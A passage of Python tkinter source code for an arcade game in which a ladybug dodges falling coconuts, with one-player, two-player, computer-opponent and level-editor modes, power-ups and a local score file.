coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n 